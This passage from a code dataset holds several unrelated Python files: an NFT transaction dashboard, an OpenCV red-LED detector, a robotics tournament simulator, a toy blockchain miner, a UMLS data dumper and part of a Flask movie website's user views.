as_index=False)\n .count()\n .reset_index(drop=True)\n .sort_values(by=\"TX_STATUS\", ascending=False)\n)\ndf_claim.rename(columns={\"SENDER\": \"MINTER\", \"TX_STATUS\": \"CLAIMED\"}, inplace=True)\n\n# load transactions into df\ndf_tx = pd.read_json(\n f\"https://api.flipsidecrypto.com/api/v2/queries/{transactions_hash}/data/latest\",\n convert_dates=[\"BLOCK_TIMESTAMP\"],\n)\n\n# group by hours\ndf_tx.set_index(\"BLOCK_TIMESTAMP\", inplace=True)\ndf_grouped = (\n df_tx[\"TX_STATUS\"].groupby(pd.Grouper(freq=\"H\")).count().reset_index(drop=False)\n)\ndf_grouped[\"SUM\"] = df_grouped[\"TX_STATUS\"].cumsum()\ndf_grouped = df_grouped[[\"BLOCK_TIMESTAMP\", \"SUM\"]]\ndf_grouped.set_index(\"BLOCK_TIMESTAMP\", inplace=True)\n\n# plot spaceloot transactions over time\nst.header(\"Spaceloot Transactions Over Time\")\nst.line_chart(data=df_grouped)\n\n# find addresses that sent\ndf_sent = (\n df_tx.groupby(\"SENDER\", as_index=False)[\"TX_STATUS\"]\n .count()\n .sort_values(by=\"TX_STATUS\", ascending=False)\n)\ndf_sent.rename(columns={\"TX_STATUS\": \"SENT\"}, inplace=True)\n\n# find addresses that received\ndf_received = (\n df_tx.groupby(\"RECIPIENT\", as_index=False)[\"TX_STATUS\"]\n .count()\n .sort_values(by=\"TX_STATUS\", ascending=False)\n)\ndf_received.rename(columns={\"TX_STATUS\": \"RECEIVED\"}, inplace=True)\n\n# merge all df's together\ndf_merge = df_claim.merge(df_sent, how=\"left\", left_on=\"MINTER\", right_on=\"SENDER\")\ndf_merge = df_merge.merge(\n df_received, how=\"left\", left_on=\"MINTER\", right_on=\"RECIPIENT\"\n)\ndf_merge = df_merge[[\"MINTER\", \"CLAIMED\", \"RECEIVED\", \"SENT\"]]\ndf_merge.fillna(0, axis=0, inplace=True)\ndf_merge[[\"CLAIMED\", \"RECEIVED\", \"SENT\"]] = df_merge[\n [\"CLAIMED\", \"RECEIVED\", \"SENT\"]\n].astype(int)\n\ndf_merge[\"TOTAL\"] = df_merge[\"CLAIMED\"] + df_merge[\"RECEIVED\"] - df_merge[\"SENT\"]\n\n# display snapshot table\nst.header(\"Snapshot Table\")\nst.write(df_merge)\n\n# raw transactions\nst.header(\"Raw Transaction History\")\nst.write(df_tx[[\"BLOCK_ID\", \"SENDER\", \"RECIPIENT\", \"TOKEN_ID\"]])\n","repo_name":"0xjimm/streamlit-dashboards","sub_path":"space_loot.py","file_name":"space_loot.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"38601436643","text":"# Prototype code to detect red color\r\n# Use cases within an IT environment:\r\n# - Analysing in-rack live camera feeds to detect servers with error conditions (red or amber LEDs)\r\n# - Cross-checking whether server monitoring tools are reporting error conditions \r\n# - Helping operators with difficulty interpreting color coded information \r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\n#Import the image\r\nsource = cv2.imread('C:/prg/python/red-detect-3.jpg')\r\n\r\n#Remove noise from the source image\r\nmedian = cv2.medianBlur(source, 15)\r\n\r\n# Convert BGR to HSV\r\nhsv_source = cv2.cvtColor(median, cv2.COLOR_BGR2HSV)\r\n\r\n# Lower red mask\r\nlower_red = np.array([0,100,100])\r\nupper_red = np.array([10,255,255])\r\nred_mask_1 = cv2.inRange(hsv_source, lower_red, upper_red)\r\n\r\n# Upper red mask\r\nlower_red = np.array([160,100,100])\r\nupper_red = np.array([180,255,255])\r\nred_mask_2 = cv2.inRange(hsv_source, lower_red, upper_red)\r\n\r\n# Join the masks\r\nred_mask_final = red_mask_1 + red_mask_2\r\n\r\n# Bitwise-AND mask on the hsv_source image\r\noutput_hsv = cv2.bitwise_and(hsv_source, hsv_source, mask = red_mask_final)\r\n\r\n# Blur the image to smoothen out bright areas\r\nblurred = cv2.GaussianBlur(output_hsv, (15, 15), 0)\r\n\r\n# Threshold the image to reveal bright areas\r\nthresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY)[1]\r\n\r\n# Split the image into components\r\nh_chan, s_chan, v_chan = cv2.split(thresh)\r\n\r\n# Erode and dilate the image to remove small unwanted areas\r\nkernel = np.ones((3,3), np.uint8)\r\nv_chan = cv2.erode(v_chan, kernel, iterations=2)\r\nv_chan = cv2.dilate(v_chan, kernel, iterations=4)\r\n\r\n# Perform a connected component analysis\r\nnlabels, labels, stats, _ = cv2.connectedComponentsWithStats(v_chan)\r\n\r\n# Create a mask to store the points of interest\r\npoi_mask = np.zeros(v_chan.shape, dtype=\"uint8\")\r\n\r\n# Create a variable to store the number of points\r\npoi = 0\r\n\r\n# Loop over the labels\r\nfor label in np.unique(labels):\r\n # Ignore the background label\r\n if label == 0:\r\n continue\r\n\r\n # Build the label mask and count the number of pixels in the area\r\n label_mask = np.zeros(v_chan.shape, dtype=\"uint8\")\r\n label_mask[labels == label] = 255\r\n num_pixels = cv2.countNonZero(label_mask)\r\n\r\n # if the number of pixels in the component are sufficient in number then add the area to the point of interest mask\r\n if num_pixels > 50:\r\n poi_mask = cv2.add(poi_mask, label_mask)\r\n poi += 1\r\n\r\nprint ('Points of interest:', poi)\r\n\r\n#Convert the POI mask back to RGB before overlaying the source image\r\npoi_mask_back_to_rgb = cv2.cvtColor(poi_mask, cv2.COLOR_GRAY2RGB)\r\noverlay = cv2.addWeighted(source, 0.4, poi_mask_back_to_rgb, 0.6, 0)\r\n\r\ncv2.imshow('Source Image', source)\r\ncv2.imshow('Points of Interest Mask', poi_mask)\r\ncv2.imshow('Overlayed Image', overlay)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","repo_name":"vasoov/detect-red-color","sub_path":"detect-color-image.py","file_name":"detect-color-image.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5651266357","text":"from Team import Team\nfrom Match import Match\n\nimport options\n\nimport random\nimport numpy as np\n\nclass Tournament:\n\t\n\tmatches_per_team = 0\n\tnumber_of_matches = 0\n\t\n\tceiling_hits = 0\n\t\n\tdef __init__(self, teams, matches_per_team):\n\n\t\t# tunable parameter added to the current match number that the scheduler is trying to schedule\n\t\t# during refactoring, all scheduling resets happened when scheduling the last four matches\n\t\t# however, some failures (i.e. picking a blue team that is already on the match's red alliance)\n\t\t# can happen at any point in the scheduling process\n\t\tself.BASE_FAILURE_RESILIENCE = 5\n\t\t'''self.red1_failures = []\n\t\tself.red2_failures = []\n\t\tself.blue1_failures = []\n\t\tself.blue2_failures = []'''\n\n\t\t# set up the array of teams, which will also keep track of rankings\n\t\tself.teams = []\n\t\tif isinstance(teams, int):\n\t\t\tself.generate_n_teams(teams)\n\t\telse:\n\t\t\tself.teams = teams\n\t\t\n\t\tself.rank()\n\t\tself.matches_per_team = matches_per_team\n\t\t#TODO: check that with the number of teams given, the requested amount of\n\t\t# matches per team can be played without conflicts'''\n\t\t\n\t\tself.number_of_matches = self.calculate_number_of_matches(len(self.teams), matches_per_team)\n\t\t\n\t\tself.matches = []\n\t\n\tdef calculate_number_of_matches(self, t, m):\n\t\treturn t * m // 4\n\t\n\tdef create_match_schedule(self):\n\t\t# use a list of teams that have not yet been scheduled for all of their matches\n\t\t# when a team is scheduled for its final match, remove it from this list\n\t\t# .copy is used so thet the original list is not modified\n\t\tavailable_teams = self.teams.copy()\n\n\t\tfor n in range(1, self.number_of_matches + 1):\n\t\t\tred1 = random.choice(available_teams)\n\t\t\t\n\t\t\tfailures = 0\n\t\t\t\n\t\t\t'''while (red1.matches_scheduled >= self.matches_per_team):\n\t\t\t\t#print('red1: ' + red1.name + ' has already been scheduled for ' + str(red1.matches_scheduled) + ' matches')\n\t\t\t\tfailures += 1\n\t\t\t\tif failures > self.FAILURE_RESILIENCE:\n\t\t\t\t\tself.reset()\n\t\t\t\t\treturn False\n\t\t\t\tred1 = random.choice(available_teams)\n\t\t\t#print('red1 FINALIZED:', red1.name)'''\n\t\t\t\n\t\t\tassert red1.matches_scheduled < self.matches_per_team\n\t\t\tred1.matches_scheduled += 1\n\t\t\tif (red1.matches_scheduled == self.matches_per_team): available_teams.remove(red1)\n\t\t\t#self.red1_failures.append(failures)\n\t\t\t\n\t\t\tred2 = random.choice(available_teams)\n\t\t\t\n\t\t\tfailures = 0\n\t\t\t\n\t\t\t# check that there is such a team before entering the while loop\n\t\t\t#while (red2.matches_scheduled >= self.matches_per_team or red2.number in red1.past_partners):\n\t\t\twhile (red2.number in red1.past_partners):\n\t\t\t\t'''if (red2.matches_scheduled >= self.matches_per_team):\n\t\t\t\t\tprint('red2: ' + red2.name + ' has already been scheduled for ' + str(red2.matches_scheduled) + ' matches')\n\t\t\t\telse:\n\t\t\t\t\tprint('red2: ' + red2.name + ' has already partnered with ' + red1.name)'''\n\t\t\t\tfailures += 1\n\t\t\t\tif failures > self.BASE_FAILURE_RESILIENCE + n:\n\t\t\t\t\tself.reset()\n\t\t\t\t\treturn False\n\t\t\t\tred2 = random.choice(available_teams)\n\t\t\t#print('red2 FINALIZED:', red2.name)\n\t\t\t\n\t\t\tassert red2.matches_scheduled < self.matches_per_team\n\t\t\tassert red1.number != red2.number\n\t\t\tred2.matches_scheduled += 1\n\t\t\tif (red2.matches_scheduled == self.matches_per_team): available_teams.remove(red2)\n\t\t\t#self.red2_failures.append(failures)\n\t\t\t\n\t\t\tred1.past_partners.append(red2.number)\n\t\t\tred2.past_partners.append(red1.number)\n\t\t\t\n\t\t\tblue1 = random.choice(available_teams)\n\t\t\t\n\t\t\tfailures = 0\n\t\t\t\n\t\t\t# check that there is such a team before entering the while loop\n\t\t\t#while (blue1.matches_scheduled >= self.matches_per_team or blue1.number in red1.past_opponents or blue1.number in red2.past_opponents):\n\t\t\twhile (blue1.number in red1.past_opponents or blue1.number in red2.past_opponents):\n\t\t\t\t'''if (blue1.matches_scheduled >= self.matches_per_team):\n\t\t\t\t\tprint('blue1: ' + blue1.name + ' has already been scheduled for ' + str(blue1.matches_scheduled) + ' matches')\n\t\t\t\telif (blue1.number in red1.past_opponents):\n\t\t\t\t\tprint('blue1: ' + blue1.name + ' has already played against ' + red1.name)\n\t\t\t\telse:\n\t\t\t\t\tprint('blue1: ' + blue1.name + ' has already played against ' + red2.name)'''\n\t\t\t\tfailures += 1\n\t\t\t\tif failures > self.BASE_FAILURE_RESILIENCE + n:\n\t\t\t\t\tself.reset()\n\t\t\t\t\treturn False\n\t\t\t\tblue1 = random.choice(available_teams)\n\t\t\t#print('blue1 FINALIZED:', blue1.name)\n\t\t\t\n\t\t\tassert blue1.matches_scheduled < self.matches_per_team\n\t\t\tassert red1.number != blue1.number\n\t\t\tassert red2.number != blue1.number\n\t\t\tblue1.matches_scheduled += 1\n\t\t\tif (blue1.matches_scheduled == self.matches_per_team): available_teams.remove(blue1)\n\t\t\t#self.blue1_failures.append(failures)\n\t\t\t\n\t\t\tblue2 = random.choice(available_teams)\n\t\t\t\n\t\t\tfailures = 0\n\t\t\t\n\t\t\t#while (blue2.matches_scheduled >= self.matches_per_team or blue2.number in red1.past_opponents or blue2.number in red2.past_opponents or blue2.number in blue1.past_partners):\n\t\t\twhile (blue2.number in red1.past_opponents or blue2.number in red2.past_opponents or blue2.number in blue1.past_partners):\n\t\t\t\t'''if (blue2.matches_scheduled >= self.matches_per_team):\n\t\t\t\t\tprint('blue2: ' + blue2.name + ' has already been scheduled for ' + str(blue2.matches_scheduled) + ' matches')\n\t\t\t\telif (blue2.number in red1.past_opponents):\n\t\t\t\t\tprint('blue2: ' + blue2.name + ' has already played against ' + red1.name)\n\t\t\t\telif (blue2.number in red2.past_opponents):\n\t\t\t\t\tprint('blue2: ' + blue2.name + ' has already played against ' + red2.name)\n\t\t\t\telse:\n\t\t\t\t\tprint('blue2: ' + blue2.name + ' has already partnered with ' + blue1.name)'''\n\t\t\t\tfailures += 1\n\t\t\t\tif failures > self.BASE_FAILURE_RESILIENCE + n:\n\t\t\t\t\tself.reset()\n\t\t\t\t\treturn False\n\t\t\t\tblue2 = random.choice(available_teams)\n\t\t\t#print('blue2 FINALIZED:', blue2.name)\n\t\t\t\n\t\t\tassert blue2.matches_scheduled < self.matches_per_team\n\t\t\tassert red1.number != blue2.number\n\t\t\tassert red2.number != blue2.number\n\t\t\tassert blue1.number != blue2.number\n\t\t\tblue2.matches_scheduled += 1\n\t\t\tif (blue2.matches_scheduled == self.matches_per_team): available_teams.remove(blue2)\n\t\t\t#self.blue2_failures.append(failures)\n\t\t\t\n\t\t\tblue1.past_partners.append(blue2.number)\n\t\t\tblue2.past_partners.append(blue1.number)\n\t\t\t\n\t\t\tred1.past_opponents.append(blue1.number)\n\t\t\tred1.past_opponents.append(blue2.number)\n\t\t\t\n\t\t\tred2.past_opponents.append(blue1.number)\n\t\t\tred2.past_opponents.append(blue2.number)\n\t\t\t\n\t\t\tblue1.past_opponents.append(red1.number)\n\t\t\tblue1.past_opponents.append(red2.number)\n\t\t\t\n\t\t\tblue2.past_opponents.append(red1.number)\n\t\t\tblue2.past_opponents.append(red2.number)\n\t\t\t\n\t\t\tm = Match([red1, red2], [blue1, blue2], n)\n\t\t\t\n\t\t\tself.matches.append(m)\n\n\t\t#self.report_scheduling_failures()\n\n\t\treturn True\n\t\n\tdef generate_n_teams(self, n):\n\t\toprs = []\n\t\t\n\t\tfor i in range(1, n + 1):\n\t\t\tt = Team(i, -1)\n\t\t\tself.teams.append(t)\n\t\t\n\t\t# if more than 32 teams, use worlds-like distribution\n\t\tif (n > 32):\n\t\t\toprs = np.random.normal(150, 55, n)\n\t\t# if 32 > n > 24, use state-like distribution\n\t\telif (n > 24):\n\t\t\toprs = np.random.normal(125, 55, n)\n\t\t# else for smaller tournaments, use qual-like distribution\n\t\telse:\n\t\t\toprs = np.random.normal(100, 55, n)\n\t\t\n\t\t# set up for loop below\n\t\toprs.sort()\n\t\to = 0\n\n\t\t# assign highest opr to lowest team number, etc.\n\t\tfor t in reversed(self.teams):\n\t\t\ttemp = int(oprs[o])\n\t\t\t\n\t\t\t# min opr is 10, max is 450\n\t\t\tif temp < 10: temp = 10\n\t\t\tif temp > 450: temp = 450\n\t\t\t\n\t\t\tt.opr = temp\n\t\t\to += 1\n\t\n\tdef run_tournament(self):\n\t\tfor m in self.matches:\n\t\t\t# run_match returns True if the \"ceiling\" was hit. Keep track of that\n\t\t\tif(m.run_match()): self.ceiling_hits += 1\n\t\n\tdef rank(self):\n\t\tself.teams.sort()\n\t\n\t# TODO: add rank in front of team name\n\tdef rankings(self):\n\t\tself.rank()\n\t\t\n\t\tprint('{:^20}'.format('Team Name') + '|' + '{:^6}'.format('RP') + '|' + '{:^6}'.format('TP') + '|' + '{:^4}'.format('MP') + '|' + '{:^5}'.format('OPR'))\n\t\tprint('{:->20}'.format('') + '|' + '{:->6}'.format('') + '|' + '{:->6}'.format('') + '|' + '{:->4}'.format('') + '|' + '{:->5}'.format(''))\n\t\tfor t in self.teams:\n\t\t\tprint('{:20}'.format(t.name) + '|' + '{:>6}'.format(t.rp) + '|' + '{:>6}'.format(t.get_tp()) + '|' + '{:>4}'.format(t.matches_played) + '|' + '{:>5}'.format(t.opr))\n\t\tprint()\n\t\n\tdef stats(self):\n\t\tfor m in self.matches:\n\t\t\tm.stats()\n\t\n\t# mostly used by create_match_schedule to restart schedule generation if it gets stuck\n\tdef reset(self):\n\t\t#print('failure while creating match', len(self.matches) + 1, 'of', self.number_of_matches)\n\t\t#self.report_scheduling_failures()\n\n\t\tself.ceiling_hits = 0\n\t\tself.matches = []\n\t\tfor t in self.teams:\n\t\t\tt.reset()\n\t\t\n\t\t'''self.red1_failures = []\n\t\tself.red2_failures = []\n\t\tself.blue1_failures = []\n\t\tself.blue2_failures = []'''\n\t\n\t'''def reassign_tbp(self):\n\t\tif options.current_ranking_system == 'random':\n\t\t\tfor t in self.teams:\n\t\t\t\tt.tp = int(random.random() * 1000)\n\t\t\treturn\n\t\t\n\t\tfor t in self.teams:\n\t\t\tt.reset_tbp()\n\n\t\tfor m in self.matches:\n\t\t\tm.reassign_tbp()'''\n\t\n\tdef reassign_tbp(self, ranking_system = None):\n\t\tif ranking_system == None: ranking_system = options.current_ranking_system\n\n\t\tif ranking_system == 'random':\n\t\t\tfor t in self.teams:\n\t\t\t\tt.tp = int(random.random() * 1000)\n\t\t\treturn\n\t\t\n\t\tfor t in self.teams:\n\t\t\tt.reset_tbp()\n\n\t\tfor m in self.matches:\n\t\t\tm.reassign_tbp(ranking_system)\n\n\tdef report_scheduling_failures(self):\n\t\tpass\n\t\t'''print('red1 failures: ', self.red1_failures)\n\t\tprint('red2 failures: ', self.red2_failures)\n\t\tprint('blue1 failures:', self.blue1_failures)\n\t\tprint('blue2 failures:', self.blue2_failures)'''","repo_name":"ftc9899/tournament-sim","sub_path":"Tournament.py","file_name":"Tournament.py","file_ext":"py","file_size_in_byte":9465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"15277939652","text":"import sys\nimport time\nimport json\nimport random\nimport string\nimport hashlib\n\nchain_data = {\n 0: {'difficulty': 8, 'data': None},\n 1: {'difficulty': 4, 'data': 'Four be the things I am wiser to know:'},\n 2: {'difficulty': 4, 'data': 'Idleness, sorrow, a friend, and a foe.'},\n 3: {'difficulty': 5, 'data': 'Four be the things I\\'d been better without:'},\n 4: {'difficulty': 6, 'data': 'Love, curiosity, freckles, and doubt.'},\n 5: {'difficulty': 7, 'data': 'Three be the things I shall never attain:'},\n 6: {'difficulty': 9, 'data': 'Envy, content, and sufficient champagne.'},\n 7: {'difficulty': 11, 'data': 'Three be the things I shall have till I die:'},\n 8: {'difficulty': 13, 'data': 'Laughter and hope and a sock in the eye.'},\n 9: {'difficulty': 16, 'data': ' -Dorothy Parker'}\n }\n\ndef loadchain():\n with open('chainfile.json', 'r') as f:\n chain = json.load(f)\n\n return chain\n\ndef gen_blockid():\n return ''.join([random.choice(string.hexdigits.upper()) for x in range(32)])\n\ndef hash_block(block):\n message = hashlib.sha256()\n message.update(str(block['identifier']).encode('utf-8'))\n message.update(str(block['nonce']).encode('utf-8'))\n message.update(str(block['data']).encode('utf-8'))\n message.update(str(block['previous_hash']).encode('utf-8'))\n return message.hexdigest()\n\ndef gen_block(chain, block_id):\n previous = chain[-1:].pop()\n block_num = len(chain)\n block = {}\n block['identifier'] = block_id\n block['data'] = chain_data[block_num].get('data')\n block['previous_hash'] = hash_block(previous)\n return block\n\n\nif __name__ == '__main__':\n chain = loadchain()\n #for block in gen_block(chain, gen_blockid()):\n while True:\n block = gen_block(chain, gen_blockid())\n difficulty = chain_data[len(chain)].get('difficulty')\n difficulty_target = '0' * difficulty\n start = int(time.time())\n count = 0\n while True:\n count += 1\n block['nonce'] = random.randint(1,100000000)\n hashed = hash_block(block)\n if hashed[0:difficulty] == difficulty_target:\n print(block)\n print(hashed)\n chain.append(block)\n break\n\n if int(time.time()) > start + 10:\n print('Hashes per second: {}'.format(count / 10))\n start = int(time.time())\n count = 0\n","repo_name":"rsalmond/ctfblockchain","sub_path":"pythonminer/miner.py","file_name":"miner.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14457648282","text":"import datetime\nimport os\n\nimport bs4\nimport dateutil.parser as dtparser\nfrom biothings.hub.dataload.dumper import DumperException, HTTPDumper\nfrom biothings.utils.common import unzipall\nfrom config import DATA_ARCHIVE_ROOT\n\n\nclass UMLSDumper(HTTPDumper):\n\n SRC_NAME = \"umls\"\n SRC_ROOT_FOLDER = os.path.join(DATA_ARCHIVE_ROOT, SRC_NAME)\n\n SCHEDULE = \"0 12 * * *\"\n HOMEPAGE_URL = \"https://www.nlm.nih.gov/research/umls/licensedcontent/umlsknowledgesources.html\"\n\n def get_latest_release(self):\n res = self.client.get(self.__class__.HOMEPAGE_URL)\n # Raise error if status is not 200\n res.raise_for_status()\n html = bs4.BeautifulSoup(res.text, 'lxml')\n # Get the table of metathesaurus release files\n table = html.find(\"table\", attrs={\"class\": \"mb-4\"})\n rows = table.find_all('tr')\n # The header of the fifth column should be 'Date'\n assert rows[0].find_all('th')[4].text == 'Date', \"Could not parse version from html table.\"\n version = rows[1].find_all('td')[4].text\n try:\n latest = datetime.date.strftime(dtparser.parse(version), \"%Y-%m-%d\")\n return latest\n except Exception as e:\n raise DumperException(\"Can't find or parse date from table field {}: {}\" % (version, e))\n\n def create_todump_list(self, force=True):\n self.release = self.get_latest_release()\n if force or not self.src_doc or (self.src_doc and self.src_doc.get(\"download\", {}).get(\"release\") < self.release):\n self.logger.info(\"Manually download from: https://www.nlm.nih.gov/research/umls/licensedcontent/umlsknowledgesources.html\")\n # Create data folder\n local = os.path.join(self.SRC_ROOT_FOLDER, self.release)\n if not os.path.exists(local):\n os.makedirs(local)\n # Dump a dummy file, to mark dump as successful and trigger uploader\n release_notes = \"https://www.nlm.nih.gov/research/umls/knowledge_sources/metathesaurus/release/notes.html\"\n self.to_dump.append({\"remote\":release_notes, \"local\":os.path.join(local, \"release_notes.html\")})\n\n def post_dump(self, *args, **kwargs):\n self.logger.info(\"Unzipping files in '%s'\" % self.new_data_folder)\n unzipall(self.new_data_folder)","repo_name":"biothings/mychem.info","sub_path":"src/hub/dataload/sources/umls/umls_dump.py","file_name":"umls_dump.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"50"} +{"seq_id":"19882232453","text":"# _*_ coding: utf-8 _*_\nimport datetime\n\n#装饰器\nfrom functools import wraps\n\nimport os\n\n#利用werkzeug提供的secure_filename方法来获取安全的文件名\nfrom werkzeug.utils import secure_filename\n\n__author__ = 'mtianyan'\n__date__ = '2017/8/26 17:07'\n\nimport uuid\n# UUID: 通用唯一标识符 ( Universally Unique Identifier ),\n# 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址,\n# 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ).\n# 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途,\n# 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象.\n\nfrom werkzeug.security import generate_password_hash\n# 数据库中直接存放明文密码是很危险的,Werkzeug库中的security能够方便的实现散列密码的计算\n# security库中 generate_password_hash(password,method...)函数将原始密码作为输入,以字符串形式输出密码的散列值\n# check_password_hash(hash,password)函数检查给出的hash密码与明文密码是否相符\n\n#导入app\n#引入sqlalchemy实例化对象\nfrom app import db, app, rd\n\n#引入forms.py文件\nfrom app.home.forms import RegistForm, LoginForm, UserdetailForm, PwdForm, CommentForm\n\n#导入数据库模型\nfrom app.models import User, Userlog, Preview, Tag, Movie, Comment, Moviecol\n\nfrom . import home\n\nfrom flask import render_template, url_for, redirect, flash, session, request, Response\n\n\ndef change_filename(filename):\n \"\"\"\n 修改文件名称\n \"\"\"\n fileinfo = os.path.splitext(filename)\n filename = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\") + \\\n str(uuid.uuid4().hex) + fileinfo[-1]\n return filename\n\n\ndef user_login_req(f):\n \"\"\"\n 登录装饰器\n \"\"\"\n\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if \"user\" not in session:\n return redirect(url_for(\"home.login\", next=request.url))\n return f(*args, **kwargs)\n\n return decorated_function\n\n\n@home.route(\"/login/\", methods=[\"GET\", \"POST\"])\ndef login():\n \"\"\"\n 登录\n \"\"\"\n form = LoginForm()\n if form.validate_on_submit(): #提交的时候进行验证,如果数据能被所有验证函数接受,则返回true,否则返回false\n data = form.data #获取form数据信息(包含输入的用户名(account)和密码(pwd)等信息),这里的account和pwd是在forms.py里定义的\n user = User.query.filter_by(name=data[\"name\"]).first() #查询表信息user表里的用户名信息\n if user:\n if not user.check_pwd(data[\"pwd\"]): #这里的check_pwd函数在models 下Admin模型下定义\n flash(\"密码错误!\", \"err\") #操作提示信息,会在前端显示\n return redirect(url_for(\"home.login\"))\n else:\n flash(\"账户不存在!\", \"err\")\n return redirect(url_for(\"home.login\"))\n session[\"user\"] = user.name #匹配成功,添加session\n session[\"user_id\"] = user.id\n userlog = Userlog(\n user_id=user.id,\n ip=request.remote_addr\n )\n db.session.add(userlog)\n db.session.commit()\n return redirect(url_for(\"home.user\"))\n return render_template(\"home/login.html\", form=form)\n\n\n@home.route(\"/logout/\")\ndef logout():\n \"\"\"\n 退出登录\n \"\"\"\n # 重定向到home模块下的登录。\n session.pop(\"user\", None)\n session.pop(\"user_id\", None)\n return redirect(url_for('home.login'))\n\n\n@home.route(\"/register/\", methods=[\"GET\", \"POST\"])\ndef register():\n \"\"\"\n 会员注册\n \"\"\"\n form = RegistForm() #实例化forms\n if form.validate_on_submit(): #提交的时候进行验证,如果数据能被所有验证函数接受,则返回true,否则返回false\n data = form.data #获取form数据信息(包含输入的用户名(account)和密码(pwd)等信息),这里的account和pwd是在forms.py里定义的\n user = User(\n name=data[\"name\"],\n email=data[\"email\"],\n phone=data[\"phone\"],\n pwd=generate_password_hash(data[\"pwd\"]),\n uuid=uuid.uuid4().hex\n )\n db.session.add(user)\n db.session.commit()\n flash(\"注册成功!\", \"ok\")\n return render_template(\"home/register.html\", form=form)\n\n\n@home.route(\"/user/\", methods=[\"GET\", \"POST\"])\n@user_login_req\ndef user():\n form = UserdetailForm()\n user = User.query.get(int(session[\"user_id\"]))\n form.face.validators = []\n if request.method == \"GET\":\n # 赋初值\n form.name.data = user.name\n form.email.data = user.email\n form.phone.data = user.phone\n form.info.data = user.info\n if form.validate_on_submit():\n data = form.data\n if form.face.data != \"\":\n file_face = secure_filename(form.face.data.filename)\n if not os.path.exists(app.config[\"FC_DIR\"]):\n os.makedirs(app.config[\"FC_DIR\"])\n os.chmod(app.config[\"FC_DIR\"])\n user.face = change_filename(file_face)\n form.face.data.save(app.config[\"FC_DIR\"] + user.face)\n\n name_count = User.query.filter_by(name=data[\"name\"]).count()\n if data[\"name\"] != user.name and name_count == 1:\n flash(\"昵称已经存在!\", \"err\")\n return redirect(url_for(\"home.user\"))\n\n email_count = User.query.filter_by(email=data[\"email\"]).count()\n if data[\"email\"] != user.email and email_count == 1:\n flash(\"邮箱已经存在!\", \"err\")\n return redirect(url_for(\"home.user\"))\n\n phone_count = User.query.filter_by(phone=data[\"phone\"]).count()\n if data[\"phone\"] != user.phone and phone_count == 1:\n flash(\"手机已经存在!\", \"err\")\n return redirect(url_for(\"home.user\"))\n\n # 保存\n user.name = data[\"name\"]\n user.email = data[\"email\"]\n user.phone = data[\"phone\"]\n user.info = data[\"info\"]\n\n print(\"执行sql\")\n\n db.session.add(user)\n db.session.commit()\n\n flash(\"修改成功!\", \"ok\")\n return redirect(url_for(\"home.user\"))\n return render_template(\"home/user.html\", form=form, user=user)\n\n\n@home.route(\"/pwd/\", methods=[\"GET\", \"POST\"])\n@user_login_req\ndef pwd():\n \"\"\"\n 修改密码\n \"\"\"\n form = PwdForm()\n if form.validate_on_submit():\n data = form.data\n user = User.query.filter_by(name=session[\"user\"]).first()\n if not user.check_pwd(data[\"old_pwd\"]):\n flash(\"旧密码错误!\", \"err\")\n return redirect(url_for('home.pwd'))\n user.pwd = generate_password_hash(data[\"new_pwd\"])\n db.session.add(user)\n db.session.commit()\n flash(\"修改密码成功,请重新登录!\", \"ok\")\n return redirect(url_for('home.logout'))\n return render_template(\"home/pwd.html\", form=form)\n\n\n@home.route(\"/comments//\")\n@user_login_req\ndef comments(page=None):\n \"\"\"\n 个人中心评论记录\n \"\"\"\n if page is None:\n page = 1\n page_data = Comment.query.join(\n Movie\n ).join(\n User\n ).filter(\n Movie.id == Comment.movie_id,\n # 只看自己的评论\n User.id == session[\"user_id\"]\n ).order_by(\n Comment.addtime.desc()\n ).paginate(page=page, per_page=10)\n\n print(page_data)\n\n return render_template(\"home/comments.html\", page_data=page_data)\n\n\n@home.route(\"/loginlog//\", methods=[\"GET\"])\n@user_login_req\ndef loginlog(page=None):\n \"\"\"\n 会员登录日志\n \"\"\"\n if page is None:\n page = 1\n page_data = Userlog.query.filter_by(\n user_id=int(session[\"user_id\"])\n ).order_by(\n Userlog.addtime.desc()\n ).paginate(page=page, per_page=2)\n return render_template(\"home/loginlog.html\", page_data=page_data)\n\n\n@home.route(\"/moviecol/add/\", methods=[\"GET\"])\n@user_login_req\ndef moviecol_add():\n \"\"\"\n 添加电影收藏\n \"\"\"\n uid = request.args.get(\"uid\", \"\")\n mid = request.args.get(\"mid\", \"\")\n moviecol = Moviecol.query.filter_by(\n user_id=int(uid),\n movie_id=int(mid)\n ).count()\n # 已收藏\n if moviecol == 1:\n data = dict(ok=0)\n # 未收藏进行收藏\n if moviecol == 0:\n moviecol = Moviecol(\n user_id=int(uid),\n movie_id=int(mid)\n )\n db.session.add(moviecol)\n db.session.commit()\n data = dict(ok=1)\n import json\n return json.dumps(data)\n\n\n@home.route(\"/moviecol//\")\n@user_login_req\ndef moviecol(page=None):\n \"\"\"\n 电影收藏\n \"\"\"\n if page is None:\n page = 1\n page_data = Moviecol.query.join(\n Movie\n ).join(\n User\n ).filter(\n Movie.id == Moviecol.movie_id,\n User.id == session[\"user_id\"]\n ).order_by(\n Moviecol.addtime.desc()\n ).paginate(page=page, per_page=2)\n\n \"\"\"\n Flask - SQLAlchemy 提供的 paginate() 方法。页 数是 paginate() 方法的第一个参数,也是唯一必需的参数。\n 可选参数 per_page 用来指定 每页显示的记录数量;如果没有指定,则默认显示 20 个记录。另一个可选参数为 error_ out,\n 当其设为 True 